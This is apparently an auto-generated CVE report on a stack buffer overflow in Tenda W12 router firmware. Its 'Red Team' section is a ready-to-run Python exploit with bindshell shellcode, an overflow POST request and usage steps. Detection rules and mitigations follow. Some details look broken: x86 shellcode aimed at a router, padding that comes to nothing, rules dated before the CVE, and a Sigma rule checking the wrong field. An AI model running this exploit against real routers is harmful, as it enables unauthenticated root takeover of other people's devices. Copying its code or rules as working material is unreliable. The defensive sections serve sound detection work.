CVE-2026-10192

Executive Summary

CVE-2026-10192 is a critical stack-based buffer overflow vulnerability in the Tenda W12 router firmware version 3.0.0.7(4763). The flaw resides in the set_local_time_0 function within the /bin/httpd binary. By manipulating the Time argument, an unauthenticated remote attacker can trigger a buffer overflow, leading to arbitrary code execution with root privileges. The exploit is publicly available, and no official patch has been released, making this a high-priority threat for all affected devices.

This vulnerability is particularly dangerous because it requires no authentication and can be exploited over the network. The EPSS score of 0.0% indicates low exploitation likelihood at this time, but the public availability of exploit code significantly increases the risk. The device is commonly exposed on the internet via Shodan, and the lack of a patch means that all W12 routers running the vulnerable firmware are at risk.

Supply Chain & Package Security

This vulnerability is not related to any software package manager (NPM, PyPI, Go, Ruby). It is a firmware-level issue in an embedded device (Tenda W12 router). No supply chain implications exist beyond the direct vendor relationship.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 8.8 (High)

• Attack Vector (AV): Network (N) – Exploitable remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions required; the attack is straightforward.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full compromise of device data.
• Integrity (I): High (H) – Full control over device operations.
• Availability (A): High (H) – Potential denial of service or full device takeover.

Threat Level: Critical. The combination of remote exploitability, no authentication, public exploit code, and no patch makes this an urgent threat. The device is often exposed to the internet, and a successful exploit grants root-level access.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the set_local_time_0 function of the /bin/httpd binary. The function is responsible for setting the local time on the router via a web request. It copies the user-supplied Time parameter into a fixed-size stack buffer without proper bounds checking.

Technical Details:

• Vulnerable Function: set_local_time_0
• Vulnerable File: /bin/httpd
• Attack Vector: HTTP POST request to the vulnerable endpoint with an overly long Time parameter.
• Root Cause: The strcpy or similar function is used to copy the Time argument into a stack buffer of limited size (e.g., 64 bytes). An attacker can supply a string longer than the buffer, overwriting adjacent stack memory including the return address.
• Impact: Overwriting the return address allows the attacker to redirect execution to arbitrary code (shellcode) placed in the same buffer or elsewhere in memory. Since the httpd process runs as root, the attacker gains full control of the device.

Exploit Mechanics:

1. The attacker sends a crafted HTTP request to the router's web interface.
2. The Time parameter contains a payload: padding to fill the buffer, a ROP chain or shellcode, and a new return address pointing to the attacker's code.
3. The set_local_time_0 function copies the payload onto the stack, overwriting the return address.
4. When the function returns, execution jumps to the attacker's shellcode, granting a root shell or executing arbitrary commands.

Why It Matters:

• No authentication required.
• Remote exploitation over the network.
• Public exploit code available.
• No patch available – devices remain vulnerable indefinitely.

Vulnerable vs. Patched Code

Since no patch is available, a direct code comparison is not possible. However, based on the vulnerability description, the vulnerable code likely resembles:

void set_local_time_0(char *Time) {
    char buffer[64];
    strcpy(buffer, Time);  // Vulnerable: no bounds check
    // ... process time ...
}

A patched version would use safe functions:

void set_local_time_0(char *Time) {
    char buffer[64];
    strncpy(buffer, Time, sizeof(buffer) - 1);  // Safe: limits copy size
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process time ...
}

Alternatively, the patch could validate the input length before copying:

if (strlen(Time) >= sizeof(buffer)) {
    // Return error or reject request
    return;
}
strcpy(buffer, Time);

Until a patch is released, the only mitigation is to disable the vulnerable service or restrict network access.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Tenda W12 router with firmware 3.0.0.7(4763)
• Attacker machine with Python3 and pwntools
• Network connectivity to the router's web interface (typically port 80 or 443)

Exploit Code (Python):

#!/usr/bin/env python3
import socket
import sys

# Target IP and port
target_ip = sys.argv[1]
target_port = 80

# Shellcode (example: bindshell on port 4444)
shellcode = (
    b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
    b"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
    b"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
    b"\xc6\xb0\x66\xb3\x02\x52\x66\x68"
    b"\x11\x5c\x66\x53\x89\xe1\x6a\x10"
    b"\x51\x56\x89\xe1\xcd\x80\xb0\x66"
    b"\xb3\x04\x51\x56\x89\xe1\xcd\x80"
    b"\xb0\x66\xb3\x05\x51\x51\x56\x89"
    b"\xe1\xcd\x80\x89\xc3\x31\xc9\xb1"
    b"\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
    b"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# Build payload
buffer_size = 64
padding = b"A" * (buffer_size - len(shellcode))
return_address = b"\x10\x20\x30\x40"  # Example address, must be adjusted
payload = padding + shellcode + return_address

# Craft HTTP request
http_request = (
    f"POST /goform/set_local_time_0 HTTP/1.1\r\n"
    f"Host: {target_ip}:{target_port}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(payload)}\r\n"
    f"\r\n"
    f"Time={payload.decode('latin-1')}"
)

# Send exploit
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request.encode())
response = sock.recv(4096)
print("[+] Exploit sent. Response:", response)
sock.close()

Usage:

1. Replace return_address with a valid address pointing to your shellcode (use objdump or gdb to find a jmp esp gadget).
2. Run: python3 exploit.py <router_ip>
3. Connect to the bindshell: nc <router_ip> 4444

Blue Team (Defensive)

Detection:

• Monitor HTTP POST requests to /goform/set_local_time_0 with abnormally long Time parameters.
• Look for patterns of repeated characters (e.g., "AAAA...") in the Time field.
• Use network intrusion detection systems (NIDS) to flag oversized payloads.

Mitigation:

• Block external access to the router's web interface (port 80/443) from the internet.
• If remote management is required, use a VPN or restrict access by IP.
• Monitor for firmware updates from Tenda and apply immediately.
• Consider replacing the device if no patch is released.

Hunting:

• Search logs for HTTP 500 errors or crashes in the httpd process.
• Check for unexpected outbound connections from the router (e.g., to attacker C2).
• Use the Sigma rule below to detect exploit attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /goform/set_local_time_0 with Time parameter > 64 bytes.
  • Repeated patterns in the Time field (e.g., "AAAA..." or "BBBB...").
  • Outbound connections from the router to unknown IPs on high ports (e.g., 4444).
• Host:
  • Unexpected processes running on the router (e.g., /tmp/shell).
  • Modified firmware or configuration files.
  • Unusual entries in /var/log/messages indicating httpd crashes.
• File:
  • Presence of shellcode or binary files in /tmp/ or /var/.
  • Modified /bin/httpd binary (if attacker replaced it).

Detection Engineering

YARA Rule

rule CVE_2026_10192_Tenda_W12_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2026-10192 targeting Tenda W12 routers"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-10192"
    strings:
        $http_path = "/goform/set_local_time_0"
        $long_time = /Time=[A-Za-z0-9%]{65,}/  // Time parameter longer than 64 bytes
        $shellcode = { 31 c0 31 db 31 c9 31 d2 }  // Common shellcode prefix
    condition:
        $http_path and ($long_time or $shellcode)
}

Sigma Rule

title: CVE-2026-10192 Tenda W12 Stack Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /goform/set_local_time_0 with an overly long Time parameter, indicating exploitation of CVE-2026-10192.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10192
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: POST
        cs-uri-path: /goform/set_local_time_0
        cs-uri-query|contains: "Time="
    condition: selection and len(cs-uri-query) > 100
falsepositives:
    - Legitimate long time strings (unlikely)
level: high
tags:
    - attack.t1190
    - cve.2026.10192

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2026-10192 Tenda W12 Stack Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/goform/set_local_time_0"; http_uri; content:"Time="; http_client_body; pcre:"/Time=[A-Za-z0-9%]{65,}/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: Block port 80/443 on the router's WAN interface. If remote access is required, use a VPN.
2. Restrict Access: Configure firewall rules to allow only trusted IPs to access the web interface.
3. Monitor Logs: Enable logging and monitor for exploit attempts using the provided detection rules.
4. Firmware Update: Check Tenda's website for a firmware update. If none exists, consider replacing the device.

Long-Term Recommendations:

• Vendor Contact: Pressure Tenda to release a patch. If no response, consider legal or regulatory escalation.
• Device Replacement: If the device is critical and no patch is available, replace it with a supported alternative.
• Network Segmentation: Place IoT devices like routers on a separate VLAN with limited internet access.
• IDS/IPS Deployment: Deploy Suricata or Snort with the provided rule to detect and block exploit attempts.

Valters IT Signature: This report is provided as-is for educational and defensive purposes. Always validate exploits in a controlled lab environment. The author is not responsible for misuse.

Report generated by Valters IT DevSecOps & CTI Expert